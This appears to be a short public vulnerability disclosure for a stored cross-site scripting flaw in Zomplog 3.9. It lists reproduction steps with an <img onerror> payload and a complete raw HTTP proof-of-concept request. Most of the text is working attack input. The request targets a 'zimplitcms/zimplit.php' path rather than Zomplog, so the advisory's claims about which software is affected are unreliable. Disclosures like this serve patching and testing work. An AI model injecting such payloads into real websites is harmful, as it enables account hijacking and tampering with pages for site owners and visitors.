Exploit Title: Zomplog 3.9 - Cross-site scripting (XSS) Application: Zomplog Version: v3.9 Bugs: XSS Technology: PHP Vendor URL: http://zomp.nl/zomplog/ Software Link: http://zomp.nl/zomplog/downloads/zomplog/zomplog3.9.zip Date of found: 22.07.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. Login to account 2. Add new page 3. Set as <img src=x onerror=alert(4)> 4. Go to menu Poc request: POST /zimplitcms/zimplit.php?action=copyhtml&file=index.html&newname=img_src=x_onerror=alert(5).html&title=%3Cimg%20src%3Dx%20onerror%3Dalert(5)%3E HTTP/1.1 Host: localhost Content-Length: 11 sec-ch-ua: Accept: */* Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 sec-ch-ua-platform: "" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/zimplitcms/zimplit.php?action=load&file=index.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: ZsessionLang=en; ZsessionId=tns0pu8urk9nl78nivpm; ZeditorData=sidemenuStatus:open Connection: close empty=empty